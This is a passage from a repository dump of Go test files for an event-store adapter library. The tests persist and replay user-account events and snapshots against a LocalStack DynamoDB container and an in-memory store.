testcontainers.ContainerRequest{ 200 | Image: "localstack/localstack:2.1.0", 201 | Env: map[string]string{ 202 | "SERVICES": "dynamodb", 203 | "DEFAULT_REGION": "us-east-1", 204 | "EAGER_SERVICE_LOADING": "1", 205 | "DYNAMODB_SHARED_DB": "1", 206 | "DYNAMODB_IN_MEMORY": "1", 207 | }, 208 | }, 209 | }), 210 | ) 211 | assert.NotNil(t, container) 212 | require.Nil(t, err) 213 | 214 | dynamodbClient, err := common.CreateDynamoDBClient(t, ctx, container) 215 | assert.NotNil(t, dynamodbClient) 216 | require.Nil(t, err) 217 | 218 | err = common.CreateJournalTable(t, ctx, dynamodbClient, "journal", "journal-aid-index") 219 | require.Nil(t, err) 220 | 221 | err = common.CreateSnapshotTable(t, ctx, dynamodbClient, "snapshot", "snapshot-aid-index") 222 | require.Nil(t, err) 223 | 224 | snapshotConverter := func(m map[string]interface{}) (pkg.Aggregate, error) { 225 | idMap, ok := m["Id"].(map[string]interface{}) 226 | if !ok { 227 | return nil, fmt.Errorf("Id is not a map") 228 | } 229 | value, ok := idMap["Value"].(string) 230 | if !ok { 231 | return nil, fmt.Errorf("Value is not a float64") 232 | } 233 | userAccountId := newUserAccountId(value) 234 | result, _ := newUserAccount(userAccountId, m["Name"].(string)) 235 | return result, nil 236 | } 237 | 238 | eventConverter := func(m map[string]interface{}) (pkg.Event, error) { 239 | aggregateMap, ok := m["AggregateId"].(map[string]interface{}) 240 | if !ok { 241 | return nil, fmt.Errorf("AggregateId is not a map") 242 | } 243 | aggregateId, ok := aggregateMap["Value"].(string) 244 | if !ok { 245 | return nil, fmt.Errorf("Value is not a float64") 246 | } 247 | switch m["TypeName"].(string) { 248 | case "UserAccountCreated": 249 | userAccountId := newUserAccountId(aggregateId) 250 | return newUserAccountCreated( 251 | m["Id"].(string), 252 | &userAccountId, 253 | uint64(m["SeqNr"].(float64)), 254 | m["Name"].(string), 255 | uint64(m["OccurredAt"].(float64)), 256 | ), nil 257 | case "UserAccountNameChanged": 258 | userAccountId := newUserAccountId(aggregateId) 259 | return newUserAccountNameChanged( 260 | m["Id"].(string), 261 | &userAccountId, 262 | uint64(m["SeqNr"].(float64)), 263 | m["Name"].(string), 264 | uint64(m["OccurredAt"].(float64)), 265 | ), nil 266 | default: 267 | return nil, fmt.Errorf("unknown event type") 268 | } 269 | } 270 | 271 | eventStore, err := pkg.NewEventStoreOnDynamoDB( 272 | dynamodbClient, 273 | "journal", 274 | "snapshot", 275 | "journal-aid-index", 276 | "snapshot-aid-index", 277 | 1, 278 | eventConverter, 279 | snapshotConverter, 280 | pkg.WithKeepSnapshot(true), 281 | pkg.WithDeleteTtl(1*time.Second)) 282 | require.NotNil(t, eventStore) 283 | require.Nil(t, err) 284 | 285 | userAccountId1 := newUserAccountId("1") 286 | 287 | initial, userAccountCreated := newUserAccount(userAccountId1, "test") 288 | require.NotNil(t, initial) 289 | require.NotNil(t, userAccountCreated) 290 | 291 | err = eventStore.PersistEventAndSnapshot( 292 | userAccountCreated, 293 | initial, 294 | ) 295 | require.Nil(t, err) 296 | 297 | defer func() { 298 | if err := container.Terminate(ctx); err != nil { 299 | t.Fatalf("failed to terminate container: %s", err.Error()) 300 | } 301 | }() 302 | } 303 | -------------------------------------------------------------------------------- /test/event_store_on_memory_test.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | event_store_adapter_go "github.com/vivaciousst/event-store-adapter-go/pkg" 5 | "github.com/stretchr/testify/assert" 6 | "github.com/stretchr/testify/require" 7 | "testing" 8 | ) 9 | 10 | func Test_EventStoreOnMemory_WriteAndRead(t *testing.T) { 11 | // Given 12 | eventStore := event_store_adapter_go.NewEventStoreOnMemory() 13 | require.NotNil(t, eventStore) 14 | 15 | userAccountId1 := newUserAccountId("1") 16 | 17 | initial, userAccountCreated := newUserAccount(userAccountId1, "test") 18 | require.NotNil(t, initial) 19 | require.NotNil(t, userAccountCreated) 20 | t.Logf("initial: %v", initial) 21 | t.Logf("userAccountCreated: %v", userAccountCreated) 22 | 23 | err := eventStore.PersistEventAndSnapshot( 24 | userAccountCreated, 25 | initial, 26 | ) 27 | require.Nil(t, err) 28 | 29 | updated, err := initial.Rename("test2") 30 | require.NotNil(t, updated) 31 | require.Nil(t, err) 32 | t.Logf("updated: %v", updated) 33 | 34 | err = eventStore.PersistEvent( 35 | updated.Event, 36 | updated.Aggregate.Version, 37 | ) 38 | require.Nil(t, err) 39 | 40 | snapshotResult, err := eventStore.GetLatestSnapshotById(&userAccountId1) 41 | require.NotNil(t, snapshotResult) 42 | require.Nil(t, err) 43 | t.Logf("snapshotResult: %v", snapshotResult) 44 | 45 | userAccount1, ok := snapshotResult.Aggregate().(*userAccount) 46 | require.NotNil(t, userAccount1) 47 | require.NotNil(t, ok) 48 | t.Logf("UserAccount: %v", userAccount1) 49 | 50 | events, err := eventStore.GetEventsByIdSinceSeqNr(&userAccountId1, userAccount1.GetSeqNr()+1) 51 | require.NotNil(t, events) 52 | require.Nil(t, err) 53 | t.Logf("Events: %v", events) 54 | 55 | actual := replayUserAccount(events, snapshotResult.Aggregate().(*userAccount)) 56 | require.NotNil(t, actual) 57 | t.Logf("Actual: %v", actual) 58 | 59 | expect, _ := newUserAccount(userAccountId1, "test2") 60 | require.NotNil(t, expect) 61 | 62 | // Then 63 | assert.True(t, actual.Equals(expect)) 64 | 65 | } 66 | 67 | // Persists an event and a snapshot for a user account 68 | func Test_EventStoreOnMemory_PersistsEventAndSnapshot(t *testing.T) { 69 | eventStore := event_store_adapter_go.NewEventStoreOnMemory() 70 | require.NotNil(t, eventStore) 71 | 72 | userAccountId1 := newUserAccountId("1") 73 | 74 | initial, userAccountCreated := newUserAccount(userAccountId1, "test") 75 | require.NotNil(t, initial) 76 | require.NotNil(t, userAccountCreated) 77 | 78 | err := eventStore.PersistEventAndSnapshot( 79 | userAccountCreated, 80 | initial, 81 | ) 82 | require.Nil(t, err) 83 | 84 | } 85 | -------------------------------------------------------------------------------- /test/user_account_event_test.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "fmt" 5 | esag "github.com/vivaciousst/event-store-adapter-go/pkg" 6 | ) 7 | 8 | type userAccountCreated struct { 9 | Id string 10 | AggregateId esag.AggregateId 11 | TypeName string 12 | SeqNr uint64 13 | Name string 14 | OccurredAt uint64 15 | } 16 | 17 | func newUserAccountCreated(id string, aggregateId esag.AggregateId, seqNr uint64, name string, occurredAt uint64) *userAccountCreated { 18 | return &userAccountCreated{ 19 | Id: id, 20 | AggregateId: aggregateId, 21 | TypeName: "UserAccountCreated", 22 | SeqNr: seqNr, 23 | Name: name, 24 | OccurredAt: occurredAt, 25 | } 26 | } 27 | 28 | func (e *userAccountCreated) String() string { 29 | return fmt.Sprintf("UserAccountCreated{Id: %s, AggregateId: %s, SeqNr: %d, Name: %s, OccurredAt: %d}", e.Id, e.AggregateId, e.SeqNr, e.Name, e.OccurredAt) 30 | } 31 | 32 | func (e *userAccountCreated) GetId() string { 33 | return e.Id 34 | } 35 | 36 | func (e *userAccountCreated) GetTypeName() string { 37 | return e.TypeName 38 | } 39 | 40 | func (e *userAccountCreated) GetAggregateId() esag.AggregateId { 41 | return e.AggregateId 42 | } 43 | 44 | func (e *userAccountCreated) GetSeqNr() uint64 { 45 | return e.SeqNr 46 | } 47 | 48 | func (e *userAccountCreated) GetOccurredAt() uint64 { 49 | return e.OccurredAt 50 | } 51 | 52 | func (e *userAccountCreated) IsCreated() bool { 53 | return true 54 | } 55 | 56 | // --- 57 | 58 | type userAccountNameChanged struct { 59 | Id string 60 | AggregateId esag.AggregateId 61 | TypeName string 62 | SeqNr uint64 63 | Name string 64 | OccurredAt uint64 65 | } 66 | 67 | func newUserAccountNameChanged(id string, aggregateId esag.AggregateId, seqNr uint64, name string, occurredAt uint64) *userAccountNameChanged { 68 | return &userAccountNameChanged{ 69 | Id: id, 70 | AggregateId: aggregateId, 71 | TypeName: "UserAccountNameChanged", 72 | SeqNr: seqNr, 73 | Name: name, 74 | OccurredAt: occurredAt, 75 | } 76 | } 77 | 78 | func (e *userAccountNameChanged) String() string { 79 | return fmt.Sprintf("UserAccountNameChanged{Id: %s, AggregateId: %s, SeqNr: %d, Name: %s, OccurredAt: %d}", e.Id, e.AggregateId, e.SeqNr, e.Name, e.OccurredAt) 80 | } 81 | 82 | func (e *userAccountNameChanged) GetId() string { 83 | return e.Id 84 | } 85 | 86 | func (e *userAccountNameChanged) GetTypeName() string { 87 | return e.TypeName 88 | } 89 | 90 | func (e *userAccountNameChanged) GetAggregateId() esag.AggregateId { 91 | return e.AggregateId 92 | } 93 | 94 | func (e *userAccountNameChanged) GetSeqNr() uint64 { 95 | return e.SeqNr 96 | } 97 | 98 | func (e *userAccountNameChanged) GetOccurredAt() uint64 { 99 | return e.OccurredAt 100 | } 101 | 102 | func (e *userAccountNameChanged) IsCreated() bool { 103 | return false 104 | } 105 | -------------------------------------------------------------------------------- /test/user_account_repository_test.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/vivaciousst/event-store-adapter-go/pkg" 7 | "github.com/vivaciousst/event-store-adapter-go/pkg/common" 8 | "testing" 9 | 10 | "github.com/stretchr/testify/assert" 11 | "github.com/stretchr/testify/require" 12 | "github.com/testcontainers/testcontainers-go" 13 | "github.com/testcontainers/testcontainers-go/modules/localstack" 14 | ) 15 | 16 | type userAccountRepository struct { 17 | eventStore pkg.EventStore 18 | } 19 | 20 | func newUserAccountRepository(eventStore pkg.EventStore) *userAccountRepository { 21 | return &userAccountRepository{ 22 | eventStore: eventStore, 23 | } 24 | } 25 | 26 | func (r *userAccountRepository) storeEvent(event pkg.Event, version uint64) error { 27 | return r.eventStore.PersistEvent(event, version) 28 | } 29 | 30 | func (r *userAccountRepository) storeEventAndSnapshot(event pkg.Event, aggregate pkg.Aggregate) error { 31 | return r.eventStore.PersistEventAndSnapshot(event, aggregate) 32 | } 33 | 34 | func (r *userAccountRepository) findById(id pkg.AggregateId) (*userAccount, error) { 35 | result, err := r.eventStore.GetLatestSnapshotById(id) 36 | if err != nil { 37 | return nil, err 38 | } 39 | if result.Empty() { 40 | return nil, fmt.Errorf("not found") 41 | } else { 42 | events, err := r.eventStore.GetEventsByIdSinceSeqNr(id, result.Aggregate().GetSeqNr()+1) 43 | if err != nil { 44 | return nil, err 45 | } 46 | return replayUserAccount(events, result.Aggregate().(*userAccount)), nil 47 | } 48 | } 49 | 50 | func Test_Repository_DynamoDB_StoreAndFindById(t *testing.T) { 51 | ctx := context.Background() 52 | container, err := localstack.RunContainer( 53 | ctx, 54 | testcontainers.CustomizeRequest(testcontainers.GenericContainerRequest{ 55 | ContainerRequest: testcontainers.ContainerRequest{ 56 | Image: "localstack/localstack:2.1.0", 57 | Env: map[string]string{ 58 | "SERVICES": "dynamodb", 59 | "DEFAULT_REGION": "us-east-1", 60 | "EAGER_SERVICE_LOADING": "1", 61 | "DYNAMODB_SHARED_DB": "1", 62 | "DYNAMODB_IN_MEMORY": "1", 63 | }, 64 | }, 65 | }), 66 | ) 67 | require.Nil(t, err) 68 | assert.NotNil(t, container) 69 | dynamodbClient, err := common.CreateDynamoDBClient(t, ctx, container) 70 | require.Nil(t, err) 71 | assert.NotNil(t, dynamodbClient) 72 | err = common.CreateJournalTable(t, ctx, dynamodbClient, "journal", "journal-aid-index") 73 | require.Nil(t, err) 74 | err = common.CreateSnapshotTable(t, ctx, dynamodbClient, "snapshot", "snapshot-aid-index") 75 | require.Nil(t, err) 76 | 77 | eventConverter := func(m map[string]interface{}) (pkg.Event, error) { 78 | aggregateMap, ok := m["AggregateId"].(map[string]interface{}) 79 | if !ok { 80 | return nil, fmt.Errorf("AggregateId is not a map") 81 | } 82 | aggregateId, ok := aggregateMap["Value"].(string) 83 | if !ok { 84 | return nil, fmt.Errorf("Value is not a float64") 85 | } 86 | switch m["TypeName"].(string) { 87 | case "UserAccountCreated": 88 | userAccountId := newUserAccountId(aggregateId) 89 | return newUserAccountCreated( 90 | m["Id"].(string), 91 | &userAccountId, 92 | uint64(m["SeqNr"].(float64)), 93 | m["Name"].(string), 94 | uint64(m["OccurredAt"].(float64)), 95 | ), nil 96 | case "UserAccountNameChanged": 97 | userAccountId := newUserAccountId(aggregateId) 98 | return newUserAccountNameChanged( 99 | m["Id"].(string), 100 | &userAccountId, 101 | uint64(m["SeqNr"].(float64)), 102 | m["Name"].(string), 103 | uint64(m["OccurredAt"].(float64)), 104 | ), nil 105 | default: 106 | return nil, fmt.Errorf("unknown event type") 107 | } 108 | } 109 | aggregateConverter := func(m map[string]interface{}) (pkg.Aggregate, error) { 110 | idMap, ok := m["Id"].(map[string]interface{}) 111 | if !ok { 112 | return nil, fmt.Errorf("Id is not a map") 113 | } 114 | value, ok := idMap["Value"].(string) 115 | if !ok { 116 | return nil, fmt.Errorf("Value is not a float64") 117 | } 118 | userAccountId := newUserAccountId(value) 119 | result, _ := newUserAccount(userAccountId, m["Name"].(string)) 120 | return result, nil 121 | } 122 | 123 | eventStore, err := pkg.NewEventStoreOnDynamoDB( 124 | dynamodbClient, 125 | "journal", 126 | "snapshot", 127 | "journal-aid-index", 128 | "snapshot-aid-index", 129 | 1, 130 | eventConverter, 131 | aggregateConverter) 132 | require.Nil(t, err) 133 | 134 | repository := newUserAccountRepository(eventStore) 135 | initial, userAccountCreated := newUserAccount(newUserAccountId("1"), "test") 136 | err = repository.storeEventAndSnapshot(userAccountCreated, initial) 137 | require.Nil(t, err) 138 | actual, err := repository.findById(&initial.Id) 139 | require.Nil(t, err) 140 | 141 | assert.Equal(t, initial, actual) 142 | 143 | result, err := actual.Rename("test2") 144 | require.Nil(t, err) 145 | result.Aggregate.Version = actual.Version 146 | 147 | err = repository.storeEventAndSnapshot(result.Event, result.Aggregate) 148 | require.Nil(t, err) 149 | actual2, err := repository.findById(&initial.Id) 150 | require.Nil(t, err) 151 | assert.Equal(t, "test2", actual2.Name) 152 | 153 | } 154 | 155 | func Test_Repository_OnMemory_StoreAndFindById(t *testing.T) { 156 | eventStore := pkg.NewEventStoreOnMemory() 157 | repository := newUserAccountRepository(eventStore) 158 | initial, userAccountCreated := newUserAccount(newUserAccountId("1"), "test") 159 | 160 | err := repository.storeEventAndSnapshot(userAccountCreated, initial) 161 | require.Nil(t, err) 162 | actual, err := repository.findById(&initial.Id) 163 | require.Nil(t, err) 164 | 165 | assert.Equal(t, initial, actual) 166 | 167 | result, err := actual.Rename("test2") 168 | require.Nil(t, err) 169 | 170 | err = repository.storeEventAndSnapshot(result.Event, result.Aggregate) 171 | require.Nil(t, err) 172 | actual2, err := repository.findById(&initial.Id) 173 | require.Nil(t, err) 174 | assert.Equal(t, "test2", actual2.Name) 175 | 176 | } 177 | -------------------------------------------------------------------------------- /test/user_account_test.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "fmt" 5 | esag "github.com/vivaciousst/event-store-adapter-go/pkg" 6 | "math/rand" 7 | "time" 8 | 9 | "github.com/oklog/ulid/v2" 10 | ) 11 | 12 | type userAccountId struct { 13 | Value string 14 | } 15 | 16 | func newUserAccountId(value string) userAccountId { 17 | return userAccountId{Value: value} 18 | } 19 | 20 | func (id *userAccountId) GetTypeName() string { 21 | return "UserAccountId" 22 | } 23 | 24 | func (id *userAccountId) GetValue() string { 25 | return id.Value 26 | } 27 | 28 | func (id *userAccountId) String() string { 29 | return fmt.Sprintf("userAccount{TypeName: %s, Valuie: %s}", id.GetTypeName(), id.Value) 30 | } 31 | 32 | func (id *userAccountId) AsString() string { 33 | return fmt.Sprintf("%s-%s", id.GetTypeName(), id.Value) 34 | } 35 | 36 | type userAccount struct { 37 | Id userAccountId 38 | Name string 39 | SeqNr uint64 40 | Version uint64 41 | } 42 | 43 | func newUserAccount(id userAccountId, name string) (*userAccount, *userAccountCreated) { 44 | aggregate := userAccount{ 45 | Id: id, 46 | Name: name, 47 | SeqNr: 0, 48 | Version: 1, 49 | } 50 | aggregate.SeqNr += 1 51 | eventId := newULID() 52 | return &aggregate, newUserAccountCreated(eventId.String(), &id, aggregate.SeqNr, name, uint64(time.Now().UnixNano())) 53 | } 54 | 55 | func replayUserAccount(events []esag.Event, snapshot *userAccount) *userAccount { 56 | result := snapshot 57 | for _, event := range events { 58 | result = result.applyEvent(event) 59 | } 60 | return result 61 | } 62 | 63 | func (ua *userAccount) applyEvent(event esag.Event) *userAccount { 64 | switch e := event.(type) { 65 | case *userAccountNameChanged: 66 | update, err := ua.Rename(e.Name) 67 | if err != nil { 68 | panic(err) 69 | } 70 | return update.Aggregate 71 | } 72 | return ua 73 | } 74 | 75 | func (ua *userAccount) String() string { 76 | return fmt.Sprintf("UserAccount{Id: %s, Name: %s}", ua.Id.String(), ua.Name) 77 | } 78 | 79 | func (ua *userAccount) GetId() esag.AggregateId { 80 | return &ua.Id 81 | } 82 | 83 | func (ua *userAccount) GetSeqNr() uint64 { 84 | return ua.SeqNr 85 | } 86 | 87 | func (ua *userAccount) GetVersion() uint64 { 88 | return ua.Version 89 | } 90 | 91 | func (ua *userAccount) WithVersion(version uint64) esag.Aggregate { 92 | result := *ua 93 | result.Version = version 94 | return &result 95 | } 96 | 97 | type userAccountResult struct { 98 | Aggregate *userAccount 99 | Event *userAccountNameChanged 100 | } 101 | 102 | func (ua *userAccount) Rename(name string) (*userAccountResult, error) { 103 | updatedUserAccount := *ua 104 | updatedUserAccount.Name = name 105 | updatedUserAccount.SeqNr += 1 106 | event := newUserAccountNameChanged(newULID().String(), &ua.Id, updatedUserAccount.SeqNr, name, uint64(time.Now().UnixNano())) 107 | return &userAccountResult{&updatedUserAccount, event}, nil 108 | } 109 | 110 | func (ua *userAccount) Equals(other *userAccount) bool { 111 | return ua.Id.Value == other.Id.Value && ua.Name == other.Name 112 | } 113 | 114 | func newULID() ulid.ULID { 115 | t := time.Now() 116 | entropy := ulid.Monotonic(rand.New(rand.NewSource(t.UnixNano())), 0) 117 | return ulid.MustNew(ulid.Timestamp(t), entropy) 118 | } 119 | -------------------------------------------------------------------------------- /version: -------------------------------------------------------------------------------- 1 | 1.0.103 2 | --------------------------------------------------------------------------------